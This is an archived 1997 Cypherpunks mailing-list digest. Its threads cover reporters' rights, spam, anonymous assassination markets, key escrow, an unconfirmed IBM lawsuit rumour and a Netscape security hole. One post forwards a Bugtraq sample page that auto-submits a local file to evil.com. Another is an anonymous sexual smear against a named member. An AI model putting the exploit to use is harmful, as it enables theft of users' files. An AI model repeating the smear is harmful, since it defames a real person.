4. Such laws are expensive to enforce if we are to observe legal
customs like "innocent until proven guilty."

5. The legal prohibitions break down under the very circumstances when
we most want our systems to remain secure: times of war and times of
social unrest or revolution.

Panther Modern





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Sat, 14 Jun 1997 21:06:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Do reporters have special rights the rest of us don't have?
Message-ID: <19970614125040.32767.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> (I have no problems with private agents, e.g., Microsoft or
> whatever, limiting contacts to the "main" reporters. It's their
> property. If they grant interviews to Declan, Brock, John, Steve,
> etc., and not to me, I cannot claim my "rights" were violated.
> Government functions are another matter, and I would generally favor
> letting anyone claiming to be a reporter in to government press
> conferences...to do anything else is to give licensing and
> credentials to speech, which the government should have no right to
> do. If they need to hold press conferences in RFK Stadium, so be
> it.)

Are you proposing the President can't choose who he meets?  Whether
such a meeting is called a "press conference" is irrelevant.

The legitimization of reporters through the use of "press credentials"
by the government can only occur when people operating the news
channels and their customers allow it to happen.

Panther Modern





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 14 Jun 1997 19:11:26 +0800
To: cypherpunks@toad.com
Subject: [ADMINISTRATIVIUM] ZKP
Message-ID: <199706141102.NAA10524@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Timothy C. Mayo is not only as queer as a three 
dollar bill, but he is also into having sex with 
children.

  (((>     /<
 (        /
  ((({{{{{:<  Timothy C. Mayo
          \
           \<





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pilgrim <nfn04017@gator.naples.net>
Date: Sun, 15 Jun 1997 01:50:59 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Democratic Assassination
In-Reply-To: <l03102800afc6405bc170@[204.210.206.39]>
Message-ID: <l03102800afc8769946ae@[204.210.206.39]>
MIME-Version: 1.0
Content-Type: text/plain



>> There is something fundamentally wrong with a society that is built upon
>> the notion that those people who do and say unpopular things deserve death.
>
>Not necessarily. No-one here would begin to suggest that AP *should* be
>used for censorship purposes, to say that AP is a censorship tool is a
>misunderstanding based on that old enemy material determinism. A gun can
[...lots more other stuff that revolve around this point...]

This is true. Just because AP exists, doesn't immediately imply that it can
become a tool for censorship. It was, after all, intended to be used as a
tool to get rid of 'bad' people.

But the human beings are funny, in a way....and inordinately
creative....how many tools has technology given us, that human beings use
to kill each other. You can blame it on government if you wish, but human
beings have been killing each other long before large sprawling governments
existed.

We are very good at taking tools and using them for evil purposes...to kill
and maim one another.

So, as you have said, does this mean that we should eliminate all tools,
just because they should be used for evil purposes? As you have mentioned,
this is an insane notion. It can't be done, and ought not to be done. If it
were, I wouldn't be able to mow my lawn later on this afternoon :-)

So we should keep hammers, and axes, and cars, etc, regardless of the fact
that they could be used for evil purposes. So, what is so different about
AP?

Technology is a wonderous thing. It lets us do things more quickly, more
conveniently. I like my computer. It helps me to do things much faster, and
more accurately, than I could do them myself.

So there is something that greatly disturbs me when we merge the speed and
efficiency of technology with something as horrific as death. Indeed it has
already been done...(lemme digress for a little while)...I remember all of
the press conferences that were held during the Gulf War, when the United
States military was showing off its flashy high tech toys, which allowed
our fighters to blow things up from a very safe distance. We saved a lot of
"the good guy's" lives that way...our troops didn't encounter much blood at
all. But perhaps war ought not to be so clean....perhaps war should be
brutal and messy and bloody and costly...not because blood and guts and
horror and terror are good things, but because war is, in and of itself, a
horrific thing...and this technology blinds us to that fact....in an
attempt to make war "clean" with technology, we have only blinded
ourselves...and thus war becomes a little too easy for my own liking.

(...almost done digressing...)

Though I am not a rabid fan of Star Trek, I recall one episode that seems
to illustrate my point. The scene was set in some star system, with these
two worlds that had been at war for ages. However, these two planets had
become so 'evolved' that they used technology to greatly tidy up the mess
of war. The war was fought entirely in a computer simulation, and those
people who were killed were notified of that fact, upon which they walked
to the nearest disintegration chamber and were disintegrated. No blood. No
guts. No horror. Very 'civil'. Thus the war never really ended, because it
turned out to be 'not so bad,' regardless of the fact that scores of people
were still dying. The human toll was immense, though everyone involved was
completely blinded to that fact.

The episode ends with the Enterprise inadvertantly 'foiling' the system,
forcing the people of both worlds to face the horror of war square in the
face.

(...I'm done digressing now...)

I think there are great similarities between high-tech war and AP. Both are
very 'tidy' ways to kill people, at great distances from unseen locations,
without having to deal with the negative reprocussions of the act. They
both make killing a little too clean. They both make it easy for us to
dehumanize our targets, so that what we're killing is not really another
human being, but some object....some nuisance that must be destroyed.

If I kill someone with a hammer, or a gun, there is a certain level of
commitment that I have to make. I have to deal with the dehumanization. I
have to deal risk being caught. **I** have to do it.

Personally, I find it would find it hard to dehumanize someone when I put a
gun to their head and read the look of terror in their face. I would find
it hard to commit the act, knowing that there is a manifold number of ways
that I could be caught. Furthermore, I know I could not deal with the
responsibility of killing someone afterwards.

But AP is a nice neat solution to this. It makes killing very tidy, and
minimizes my own responsibility. I can use it to easily fool myself into
thinking that I'm really not resposible for killing a human
being....rather...I simply got rid of a nuisance...a source of pain....I
can think of it more akin to squashing a bug on a wall, rather than ending
someone's life.

Killing people is horrific and should remain that way..lest killing becomes
a little too easy...and once killing people becomes as easy as buying a
newspaper, who knows people will do with it. AP is way too easy for my
liking.


>> Even if digital cash, anonymous remailers and strong encryption could
>> enable us to set up a democratic system of assassination (which it
>> couldn't)...
>
>Expand on this please, if you believe anonymous digital assasination
>markets are not possible from a technical point of view please explain why...

My point was not that anonymous digital assasination was not possible...but
rather, the notion of such a mechanism being democratic is incorrect. If it
were democratic, there would be some sort of referendum...some sort of vote
being taken...and if enough people vote no, then it wouldn't take place.

This mechanism is not democratic, in the sense that, in order for a killing
to take place...one doesn't need a majority...one only needs enough
resources. If a couple of billionaires decide to knock off a young
entrepenuir (sp), they can do it very easily, and don't need to ask
anyone's permission.

In my mind, the notion of this mechanism being democratic was the only
****REMOTELY**** redeeming characteristic about this whole thing...and my
argument is that this system isn't even democratic. To make it work, one
doesn't need enough people and enough consenting opinions, simply enough
resources. While the two are sometimes related, they aren't always.

>
>> I still wouldn't want to live in a society where killing is
>> democratized...I do not want to live in a society where people can
>> abitrarily take a vote on whether I should live or die....
>
>You do live in such a society, if the government decides to fuck you over
>and manages somehow to make a muder charge stick 12 randomly selected
>people can decide whether you live or die. If you say something unpopular
>you can be assasinated.

This is a nasty truth.....so do I want this power expanded?

Scenario:
I'm very active in Christian outreach and evangelism. I move into a small
town of 20000 people and start a ministry there. I have success there, and
therefore greatly upset a fair portion of the town.

Now, the chances of a man in black from Washington DC to knock me off are
relatively small, compared to the chances of a couple of bigshots around
town arranging my murder using AP. This goes back to the point about AP
making killing a touch too easy.

If the government has the power to easily assassinate me for being
unpopular, this is a bad thing....but it doesn't lead me to conclude that
more people should have this kind of power....because I fear that rather
than this becoming a tool to fight oppression....it will simply become a
tool to kill people we don't like...politicians or janitors.

>
>> And maybe...just maybe...he is just as big a victim of "The Machine" as you
>> are.
>
>This is a difficult point to even contemplate as having any basis in
>reality. Do you know any police officer (lets make that more specific
>and say DEA inspector) who is a victim? Do you know of any possibility,
>no matter how remote, that someone delegated the task of beating
>confessions out of suspects is a "victim" himself?

It's a long story, and I can't go into it much without probably angering
many people on this listserv....but the roots of this idea begin in some
fundamental beliefs about people that I, being a committed Christian, carry
with me. If you care to get the full sermon, lemme know and I'll send you a
personal email.


>> Justice rarely comes out of hatred.
>
>I agree, it is rarely productive to hate your enemy, but it is often a
>natural reaction...

I agree, it is a natural reaction. I'm as guilty of it as the next
guy...though it's being worked out of me...SLOWLY :-D

Take Care,
Pilgrim






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Arunas Norvaisa <arunas@post1.com>
Date: Sat, 14 Jun 1997 19:45:26 +0800
To: cypherpunks@Algebra.COM
Subject: nym.alias.net back!!!!!!
Message-ID: <3.0.32.19970614144125.00691a54@post1.com>
MIME-Version: 1.0
Content-Type: text/plain



there will be no comments from my stupid self. Hoorah!!!

quote
=====

>From           lcs Remailer Administrator <mix-admin@nym.alias.net>
Organization   mail2news@nym.alias.net
Date           14 Jun 1997 04:27:52 -0000
Newsgroups     alt.privacy.anon-server
Message-ID     <19970614042752.18952.qmail@nym.alias.net>



As of tonight, the alias.net domain seems to have been restored by the
Internic.  While negative lookups on the domain name may still be
cached for 24 hours or so, nym.alias.net should soon be fully
accessible within a day if it is not already.

This down time has been fairly disastrous, but I suppose there is a
brighter side--chances are the all nym.alias.net addresses have been
cleared from spam databases, so as the remailer comes back on line,
people should see less unsolicited mail than they used to.

unquote
=======

--
greetz... Arunas Norvaisa - little guy, The Masses Inc.
<mailto:arunas@post1.com> with subject: 'send key' to get PGP key
PGP for idiots page <http://www.a-vip.com/an>
  and a mirror site <http://www.post1.com/~arunas>
IBM: Insultingly Boring Microcomputers





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Sun, 15 Jun 1997 03:15:40 +0800
To: cypherpunks@Algebra.COM
Subject: Re: This is NOT trespassing.
In-Reply-To: <199706141643.MAA001.36@butternut.nist.gov>
Message-ID: <97Jun14.151138edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 14 Jun 1997 cypherpunks@Algebra.COM wrote:

(curiously the author gave the above return address, but since it is more 
or less on-topic)

> Did you pay for your TV?  Do you buy electricity by the KWH?
> Pay a monthly cable bill?  If so, then why isn't a television 
> commercial considered theft of your televised resources?

I can choose to pay extra for commercial-free channels.  The commercials
are added by the broadcasters, and I can choose which broadcasters I
watch.  I can also rent commercial free videotapes.  Don't confuse paying
for a Media Player with payment for (or commercial subsidy of) Media.

> Doesn't it cost something to ride the bus?  Then why aren't
> the public transport's advertisers guilty of stealing your
> wallspace?

The PTA is stealing my money since I don't ride the bus, but I am forced
to pay taxes to support it.  I would be willing to end the government
monopoly on public transportation, and offer both ad-free and ad-bearing
jitneys with a price per ride reflective of the difference in cost.

> What about newspapers, magazines, radio stations, going to
> the movies, driving on any road, almost any PAID activity in
> life?  Each has its attendent advertisments and commercials.

Again, my newspaper or magazine is free to offer an ad-free version at a
different price.  I subscribe to several newsletters which are completely
without advertisement.  Again, it is my choice.

You forgot to mention books.  I didn't notice any ads between the pages of
the last three I read - something must be wrong or left unexploited.

> We PAY for an enormous percentage of solicitations.  Everyday.

No, Media suppliers make decisions whether to sell pure media, or media
with ads, and it is their strategy to maximize profit.  I "pay" for the
ads by not paying extra for the media.

Advertisements in public spaces are a form of speech.  It does not invade
my space (though here billboards are taxed) - I go into a space where
speech occurs, it doesn't invade my space.

> WHY SHOULD YOUR EMAIL BOX BE ANY DIFFERENT? 

Because I am not contracting with anyone for a reduced cost for an email
box with advertisements (FYI there are services with email addresses for
"free" that also tack on ads to messages).  My email box is not part of
the public space, merely connected to it.

I don't object to web pages with ads (closer to the above examples) - it
is the author's choice whether or not to have ads, and my choice whether
or not to go to the web page.  (I would object to pages constructed so as
to display only an ad first, then redirect me to the actual content I
requested). 

Why should AIR be different?  Why should I not be able to drive a car that
belches toxic fumes, and build a plant that pollutes the air - it is just
as much my "public" air, as it is yours, and you will have to pay for my
activities with only a little of your health.

The Spammer is not part of the transaction between me and my ISP, but
pollutes my space with something I don't want.

You are not part of the transaction between the automaker and myself, nor
between me and the customers of my plant, so why should you have a say
even though my polluted air would invade your space?  Close your door and
buy a HEPA filter if you don't like it.  It is the same type of problem
(an externality in economic terms).

> Fact is, it isn't.  Nor will it ever be.  When you make any
> contact in public via any media or communication form, there
> will come invitations, solicitations, possibly vexations and
> the like.  It's one of the prices we must pay in order to be
> able to communicate at all.  

I don't think there should be a law, but if I have have a property right
in my email account, but enforcement is difficult or spotty, I can attempt
to initiate a boycott of the ISP and NSP as I might do with a socially
irresponsible company which endangers me by polluting the air.  If I don't
have such a right, then neither does the email accounts of the ISP and NSP
of the spammer, and they can decide whether or not to supply network
services to the spammers and live with the problems the counterspamming
will create for them, just as I have to live with the spam.

As a specific example:  If AGIS fails to control cyberpromo (for now they
seem to be succeeding), then if everyone forwards spam to
everyone@agis.net (the email scanners work both ways), at some point it
will cost more to agis to deflect the counterspam (and complaints on their
toll-free lines) than the money it gets from cyberpromo, and other
customers using AGIS could be encouraged to drop them and choose a more
"responsible" carrier, or agis can be deleted from routing tables.  They
will either have to insure cyberpromo acts responsibly or stop being their
provider. 

This will not eliminate the problem, but will make it uneconomic in most
cases to spam - if the account is almost instantly cancelled, the only
response would be a mailing address or phone number, and most people won't
call (unless it is toll free), and most people won't print out the form,
so the cost of the spam will exceed any profits generated, and thus it
will stop.

No government need get involved.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Sun, 15 Jun 1997 06:41:26 +0800
To: "Igor Chudov @ home" <ichudov@Algebra.COM>
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <199706140232.VAA20313@manifold.algebra.com>
Message-ID: <33A31B9C.F76DCB2A@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov @ home wrote:
> 
> Tom, are you going to release the linux version of netscape,
> and when.

I believe we still intend to release a linux version, although it
obviously has a lower priority than Solaris or the Mac.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 15 Jun 1997 04:33:58 +0800
To: cypherpunks@toad.com
Subject: Re: IBM sues critics?
Message-ID: <1.5.4.32.19970614201321.009a8b38@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Secret Squirrel wrote:
>According to a usually reliable contact in a position to know, IBM Friday
>filed a liable suit against the 11 authors of the study
>titled "The risks of key recovery, key escrow and trusted third-party
>encryption" plus their employers and the Centere for Democracy and
>Technology, which sponsored the report.  According to my contact, IBM
>feels that the report directly targets their own key recovery system,
>and falsely implies that it isn't reliable.  They are asking for
>unspecified damages.


If this report is true it's worth taking a look at IBM's policy paper
"The need for a global cryptographic policy framework" to 
understand why the key study report is such a threat to
Blue's global market strategy:

   http://www.ibm.com/security/html/pp_global.html

IBM's economic incentive to attack the report is substantial, not
least because it hopes to garner the lion's share of global GAK --
not that that's news.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sun, 15 Jun 1997 05:19:23 +0800
To: Secret Squirrel <nobody@secret.squirrel.owl.de>
Subject: Re: IBM sues critics?
In-Reply-To: <19970614184538.11070.qmail@squirrel.owl.de>
Message-ID: <Pine.GSO.3.95.970614170740.23228C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



I doubt this is true. The report doesn't mention IBM's KR system, and is
so bland as to be innocuous. If anyone knows otherwise, I'd be interested
in learning more. 

-Declan


On 14 Jun 1997, Secret Squirrel wrote:

> According to a usually reliable contact in a position to know, IBM Friday
> filed a liable suit against the 11 authors of the study
> titled "The risks of key recovery, key escrow and trusted third-party
> encryption" plus their employers and the Centere for Democracy and
> Technology, which sponsored the report.  According to my contact, IBM
> feels that the report directly targets their own key recovery system,
> and falsely implies that it isn't reliable.  They are asking for
> unspecified damages.
> 
> This means IBM is suing such people as Matt Blaze, Whitfield
> Diffie, and Ronald Rivest, along with AT&T, Sun, Microsoft, and MIT
> over the question of whether its key recovery system really works.
> Considering that truth is a defense and the details of the
> IBM system could be part of the defense's evidence, it should be an
> interesting trial to say the least.
> 
> I have not seen the actual court papers and really have no idea
> whether my contact is totally accurate.  Can anyone confirm the details?
> I just read the study in question, and it sounds like IBM is totally
> out of line and trying to intimidate its critics with threats of expensive
> if frivolous lawsuits. On the other hand, some of the parties named
> in the suit (Microsoft, AT&T) have their own armies of lawyers
> to defend themselves, so it's hard to be sure of what's going on here.
> 
> I think the report is still at www.crypto.com or www.cdt.org.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 15 Jun 1997 19:01:21 +0800
To: Secret Squirrel <nobody@secret.squirrel.owl.de.demon.co.uk>
Subject: Re: Do reporters have special rights the rest of us don't have?
In-Reply-To: <19970614125040.32767.qmail@squirrel.owl.de>
Message-ID: <Pine.LNX.3.91.970614174602.1502A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Are you proposing the President can't choose who he meets?  Whether
> such a meeting is called a "press conference" is irrelevant.

The president is an employee of the people, therefore the people decide 
what the president does and when he does it.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Sun, 15 Jun 1997 09:00:40 +0800
To: cypherpunks@cyberpass.net
Subject: Re: IBM sues critics?
Message-ID: <199706150054.RAA05736@f23.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Can someone explain the difference between key recovery and key
escrow?  The IBM white paper describes it at
http://www.ibm.com/security/html/pp_global5.html in terms of
giving a keys or a combination to your neighbors, but the
analogy was hard to follow.

"John



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Sun, 15 Jun 1997 03:48:26 +0800
To: cypherpunks@toad.com
Subject: IBM sues critics?
Message-ID: <19970614184538.11070.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



According to a usually reliable contact in a position to know, IBM Friday
filed a liable suit against the 11 authors of the study
titled "The risks of key recovery, key escrow and trusted third-party
encryption" plus their employers and the Centere for Democracy and
Technology, which sponsored the report.  According to my contact, IBM
feels that the report directly targets their own key recovery system,
and falsely implies that it isn't reliable.  They are asking for
unspecified damages.

This means IBM is suing such people as Matt Blaze, Whitfield
Diffie, and Ronald Rivest, along with AT&T, Sun, Microsoft, and MIT
over the question of whether its key recovery system really works.
Considering that truth is a defense and the details of the
IBM system could be part of the defense's evidence, it should be an
interesting trial to say the least.

I have not seen the actual court papers and really have no idea
whether my contact is totally accurate.  Can anyone confirm the details?
I just read the study in question, and it sounds like IBM is totally
out of line and trying to intimidate its critics with threats of expensive
if frivolous lawsuits. On the other hand, some of the parties named
in the suit (Microsoft, AT&T) have their own armies of lawyers
to defend themselves, so it's hard to be sure of what's going on here.

I think the report is still at www.crypto.com or www.cdt.org.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 15 Jun 1997 10:19:55 +0800
To: cypherpunks@toad.com
Subject: Re: IBM sues critics?
In-Reply-To: <Pine.GSO.3.95.970614170740.23228C-100000@cp.pathfinder.com>
Message-ID: <FFBB9D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@pathfinder.com> writes:

>
> I doubt this is true. The report doesn't mention IBM's KR system, and is
> so bland as to be innocuous. If anyone knows otherwise, I'd be interested
> in learning more.

Maybe IBM took its cue from C2Net.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 15 Jun 1997 09:06:23 +0800
To: cypherpunks@toad.com
Subject: e$: Skins vs. Shirts
Message-ID: <v03020931afc8ee48fc8f@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Robert Hettinga <rah@shipwright.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Sat, 14 Jun 1997 14:02:41 -0400
From: Robert Hettinga <rah@shipwright.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  e$: Skins vs. Shirts

At 10:28 am -0400 on 6/14/97, Adam Shostack wrote:


> 	Are FAT file lists stored as files?
>
> 	On a Unix box, /. refers to the file containing directory
> entries, the list of files in the directory.  If there is an analogous
> file on a dos box, you can explore.  (Does the bug work on Unix?  I've
> heard it only works if java or livescript are turned on, so it hasn't
> worried me enough to investigate.)

All this reminds me of something Tim May, Eric Hughes, and others have said
before. Once you've gotten to the point where loss of security equals, in a
very literal sense, loss of money, the incentive to publicize any given
security hole starts to go away.

Adam, above, is speculating about the mechanics of a Netscape security
hole, which, two years ago, would have gotten someone like Ian Goldberg a
grand and a t-shirt, but probably only after they had published it on the
net, just like Mssrs Goldberg and Wagner had to do, in order to get
Netscape's attention. That included directions for how to replicate the
problem. Back then, we wouldn't have been speculating about the mechanics
of the hole, because people would be playing with it to see how it worked.
As it is, latest hole was published in terms of its results only, and not
its mechanics. Instead, those precious details were relased only to
Netscape, and only for, NPR says, "an undisclosed sum".

Lest we think of this as latter-day greenmail, we have to remember that
greenmail actually had it's putative effect, which was to increase the
returns to the shareholders by increasing the stock price. It was never
fair to begrudge T. Boone Pickens the pound of flesh he extracted from
companies like Phillips Petroleum, mostly because the pound he cut off was
usually lard, anyway.  Not to compare Netscape to a Pritikin candidate, of
course. Nobody can see all the consequences of tens or hundreds of
thousands of lines of code, and the very best way to solve the semantic
problem that poses is the internet way, by swarming it to death.

With that in mind, I expect that the next stage in this increasing security
"price" escallation will be much more interesting.  It won't be long before
the first people who say anything about a new security hole will be people
who have money stolen from them, and not much will be said by the people
who discover those holes in the first place. And, of course, lots of those
people probably won't be so virtuous in their use of what they figure out,
either. We're about to enter a new era of parallel evolution, much like the
relationship between cheeetahs and Thompson's gazelles, where a constant
arms race makes predator and prey more efficient, excellerating evolution
in both species.

Now, I don't think this forgives people from publishing their source code,
far from it. I expect that people selling financial cryptography and allied
commercial products will still have to publish their source, or nobody will
trust it enough buy it.  I'm just saying that it will tend to be the
victims, and probably not the next generation of "moneypunks",  who will be
announcing the failure of any given commerce application.



So, instead being one of free shirts, the game will be one of payment in,
um, skins. And, before long, there will be many more skins out there
belonging to people who are spending money than the people who accidentally
built the wallets with holes in them could ever pay in gre$enmail.

Cheers,
Bob Hettinga






-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


----------
The e$ lists are brought to you by:

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<http://www.intertrader.com/library/DigitalMoneyOnline>

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http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it! <http://www.shipwright.com/beg.html>
For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com>

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(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
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Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 15 Jun 1997 12:12:43 +0800
To: cypherpunks@Algebra.COM
Subject: Netscape Exploit
Message-ID: <3.0.2.32.19970614211018.03c32c1c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>Approved-By: aleph1@UNDERGROUND.ORG
>Date: 	Sat, 14 Jun 1997 19:21:30 -0500
>Reply-To: root <root@BACKWATER.PBX.ORG>
>Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
>From: root <root@BACKWATER.PBX.ORG>
>Subject:      Netscape Exploit
>To: BUGTRAQ@NETSPACE.ORG
>
>Here is a sample it isn't complete but you get the basic idea of what is
>going on
><HTML><HEAD><TITLE>Evil-DOT-COM Homepage</TITLE><HEAD>
>
><BODY onLoad="daForm.submit()">
><FORM
>	NAME="daForm"
>	ACTION="http://evil.com/cgi-bin/formmail.pl"
>	METHOD=POST>
>
><INPUT TYPE=FILE VALUE="c:\config.sys" Name="Save This Document on your
>Harddrive">
><INPUT TYPE=HIDDEN NAME="recipient" value="foobar@evil.com">
>
>and so on and so forth...
--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 16 Jun 1997 07:49:12 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.GSO.3.95.970613083909.27747Q-100000@well.com>
Message-ID: <3.0.2.32.19970614212045.00762f1c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:05 PM 6/13/97 -0400, Ray Arachelian wrote:
>Nor do I believe that TRW or the DMV should have the ability to sell my
>information to others without my permission, or collect it for that matter
>without a contrat that states how it will be used and who it will be
>shared with. Can you name one Credit Card company that DOES NOT share its
>info with TRW?  Yes, I can get a debit card, but information about
>transactions on it will wind up in the hands of TRW.

They're radically different cases.   TRW gets your information from
people who get credit reports on you, and from creditors who lend you money,
both of which are voluntary transactions on your part.  You have the option,
when negotiating the terms of your business with a company,
to specify in your contracts what information they may pass on to third
parties, and what restrictions they need to put on that information.
Yes, almost everybody you deal with gives everything to TRW or one
of its competitors, but you can negotiate that yourself.
The reason they do is that it reduces their risks substantially
when dealing with the Information Mongers, and therefore reduces
their costs and makes them more likely to give you credit,
and lets them charge you less money for the credit they give you.
But if you can't come to an agreement with anyone, you won't be
able to borrow money from them, and you'll need to pay cash up front
for things, but those were all voluntary transactions as well.

On the other hand, the DMV isn't voluntary - sure they tell you
"well, you don't _have_ to drive or own a car", but unlike 
creditors, who won't do anything bad to you if you don't
borrow money from them, the DMV forces you to deal with them
by threatening to have cops haul you off to jail and
steal your car if you drive without dealing with them.  
It's an offer you can't refuse.  Therefore, there are two
ways I can see to look at their use of data:
1) You're slaves anyway - go cope :-)
2) You've given them far more information than
you wanted to, and they should respect your privacy
and not give it to anyone.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Sun, 15 Jun 1997 13:51:05 +0800
To: Adam Shostack <jya@pipeline.com (John Young)
Subject: Re: Impact of Netscape kernel hole
Message-ID: <3.0.32.19970614223746.006d3ea8@best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:28 AM 6/14/97 -0400, Adam Shostack wrote:
>
>
>| >Tim's post (although refuted by Marc) raises some serious issues since I
>| >suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp
>
>	Are FAT file lists stored as files?

not exactly.  you cannot just open and read. you must jump hoops; but does
the nscp hole allow execution of arbitrary code?  that would be much worse
....

>
>	On a Unix box, /. refers to the file containing directory
>entries, the list of files in the directory.  If there is an analogous
>file on a dos box, you can explore.  

so, no: not unless you can write your own foreign code and run it on the
victim pc.


(Does the bug work on Unix?  I've
>heard it only works if java or livescript are turned on, so it hasn't
>worried me enough to investigate.)
>
>Adam
>
>
>
>-- 
>"It is seldom that liberty of any kind is lost all at once."
>					               -Hume
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 15 Jun 1997 13:52:59 +0800
To: cypherpunks@Algebra.COM
Subject: We need more surveillance--a morality play about terrorism
Message-ID: <v03102802afc92c702e23@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




[Some speculation about the current American attitudes about terrorism,
about the changes in civil liberties to deal with the "terrorist threat,"
and even some comments about Jim Bell and his predicament.]


I've been watching an HBO movie, "Path to Paradise," about the bombing of
the World Trade Center in February 1993. It's quite well-done, as most HBO
movies of this sort are.

However, it is fairly heavy on a propaganda message which may give some
insights into the likely changes in political freedoms in the United
States. Some examples:

* repeated examples of how the cops and FBI _could have_ arrested the Arabs
if only the Constitution could be reinterpreted to allow arrests for
possession of political pamphlets, guns (legally owned), etc.

* "You mean Islamic radicals are free to preach their message of hate and
violence? Unbelievable!" (This is a paraphrase...there were several such
opinions expressed, where FBI managers express outrage that such things are
permitted in the U.S.)

* The niceties of getting wiretap orders were treated as ways to coddle
criminals.

* The ease with which citizen-units and others can order chemicals and
suchlike was shown graphically, with the subtext being that this easy
ordering ought to be stopped. (This was clear from the dramatic
presentation.)

* Unlike many such movies on criminal matters, there was very little
discussion of civil rights, of the right of persons to move about freely,
and so on.

In short, a morality play about the hazards of letting people plot their
crimes without proper surveillance.

Not to sound conspiratorial, I suspect that this changed climate is
consistent with the views of the FBI and White House, and that HBO is
playing some role (unofficially, of course, and maybe not even consciously)
in this new emphasis.

(In the same way that the Rambo movies, to name just one example, resonated
with American popular opinion in the Reagan era.)

Speculation: This may also have something to do with the "no bail"
